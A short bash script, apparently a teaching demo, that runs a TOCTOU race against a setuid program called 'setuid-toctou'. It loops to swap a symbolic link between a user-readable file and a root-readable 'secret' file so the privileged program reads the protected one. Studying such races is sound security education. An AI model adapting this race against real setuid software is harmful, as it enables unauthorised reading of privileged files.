#!/bin/bash # # Launch this script and then start # while true; do ./setuid-toctou ./symbolic_link ; done set -u set -e curdir=`pwd` if [ ! -e ./setuid-toctou ]; then echo "program not found. wrong directory?" exit -1 fi while true; do ln -f -s ${curdir}/hello ./symbolic_link # link to a user-readable file ln -f -s ${curdir}/secret ./symbolic_link # link to a root-readable file done